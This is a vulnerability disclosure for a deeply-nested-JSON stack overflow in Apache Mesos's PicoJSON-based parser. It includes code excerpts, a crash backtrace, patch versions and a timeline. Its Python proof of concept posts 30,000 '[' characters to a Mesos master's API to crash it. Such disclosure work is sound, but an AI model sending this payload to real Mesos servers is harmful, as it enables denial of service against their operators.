A vulnerability in the JSON parser used by Apache Mesos allows a remote attacker to cause a crash in any Mesos component that parses JSON.
The impact of this bug is most likely denial-of-service against Apache Mesos but may result in remote code execution in some circumstances.
Affected Versions
Apache Mesos 1.4.0 to 1.7.0. The unsupported Apache Mesos pre-1.4.0 releases may be also affected.
Description
The JSON parser in 3rdparty/stout/include/stout/json.hpp
uses the PicoJSON
library internally to parse JSON values.
904 const char* parseEnd;
905 try {
906 parseEnd =
907 picojson::parse(value, parseBegin, parseBegin + s.size(), &error);
908 } catch (const std::overflow_error&) {
909 return Error("Value out of range");
910 } catch (...) {
911 return Error("Unknown JSON parse error");
912 }
PicoJSON does not handle deeply nested JSON structures well as parses the JSON recursively which eventually blows the stack.
A typical stack trace at the time of the crash will be as follow:
gef⤠bt
#0 0x00007fffe98eabbc in _int_malloc (av=av@entry=0x7fffc0000020, bytes=bytes@entry=0x18) at malloc.c:3353
#1 0x00007fffe98ed184 in __GI___libc_malloc (bytes=0x18) at malloc.c:2913
#2 0x00007fffea0f3e78 in operator new(unsigned long) () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#3 0x00007ffff3961608 in picojson::value::value (this=0x7fffe04d5140, type=0x4) at ../3rdparty/picojson-1.3.0/picojson.h:178
#4 0x00007ffff39621f4 in picojson::default_parse_context::parse_array_start (this=0x7fffe04d52c0) at ../3rdparty/picojson-1.3.0/picojson.h:848
#5 0x00007ffff396f094 in picojson::_parse_array<picojson::default_parse_context, char const*> (ctx=..., in=...) at ../3rdparty/picojson-1.3.0/picojson.h:687
#6 0x00007ffff396cb23 in picojson::_parse<picojson::default_parse_context, char const*> (ctx=..., in=...) at ../3rdparty/picojson-1.3.0/picojson.h:762
#7 0x00007ffff3971023 in picojson::default_parse_context::parse_array_item<char const*> (this=0x7fffe04d5440, in=...) at ../3rdparty/picojson-1.3.0/picojson.h:855
#8 0x00007ffff396f0ee in picojson::_parse_array<picojson::default_parse_context, char const*> (ctx=..., in=...) at ../3rdparty/picojson-1.3.0/picojson.h:695
#9 0x00007ffff396cb23 in picojson::_parse<picojson::default_parse_context, char const*> (ctx=..., in=...) at ../3rdparty/picojson-1.3.0/picojson.h:762
#10 0x00007ffff3971023 in picojson::default_parse_context::parse_array_item<char const*> (this=0x7fffe04d55c0, in=...) at ../3rdparty/picojson-1.3.0/picojson.h:855
#11 0x00007ffff396f0ee in picojson::_parse_array<picojson::default_parse_context, char const*> (ctx=..., in=...) at ../3rdparty/picojson-1.3.0/picojson.h:695
#12 0x00007ffff396cb23 in picojson::_parse<picojson::default_parse_context, char const*> (ctx=..., in=...) at ../3rdparty/picojson-1.3.0/picojson.h:762
#13 0x00007ffff3971023 in picojson::default_parse_context::parse_array_item<char const*> (this=0x7fffe04d5740, in=...) at ../3rdparty/picojson-1.3.0/picojson.h:855
#14 0x00007ffff396f0ee in picojson::_parse_array<picojson::default_parse_context, char const*> (ctx=..., in=...) at ../3rdparty/picojson-1.3.0/picojson.h:695
#15 0x00007ffff396cb23 in picojson::_parse<picojson::default_parse_context, char const*> (ctx=..., in=...) at ../3rdparty/picojson-1.3.0/picojson.h:762
While the JSON parser is widely used throughout Mesos, its usage in
src/master/http.cpp
can be exploited by a remote attacker to cause a denial
of service.
660 } else if (contentType.get() == APPLICATION_JSON) {
661 Try<JSON::Value> value = JSON::parse(request.body);
Proof of Concept
The following Python script will crash the Apache Mesos master process to crash.
The number of [
's required to trigger the crash depends on the stack limits
of the system the Mesos process is running on. However, this poses no practical
limitations when it comes to exploitation since a HTTP request body can be
megabytes in length.
import requests
HOST = "http://127.0.0.1:5050/api/v1"
def main():
payload = "[" * 30000
requests.post(HOST, data=payload,
headers={"Content-Type": "application/json"})
if __name__ == "__main__":
main()
Mitigation
Apache Mesos user's should be upgraded to a patched version. The following is the official recommendation from the Apache Mesos team.
pre-1.4.x users should upgrade to at least 1.4.3
1.4.x users should upgrade to 1.4.3
1.5.x users should upgrade to 1.5.2
1.6.x users should upgrade to 1.6.2
1.7.0 users should upgrade to 1.7.1
1.8-dev users should obtain Mesos 1.8.0 or later
Credits
This issue was discovered by Ayrx.
Timeline
- 03 May 2018 - Vulnerability discovered.
- 03 May 2018 - Vulnerability reported to the vendor.
- 19 Sep 2018 - Vulnerability fixed by vendor in
master
. CVE-2018-7889 assigned. - 04 Mar 2019 - New release of Apache Mesos with fix applied. Public disclosure of the vulnerability.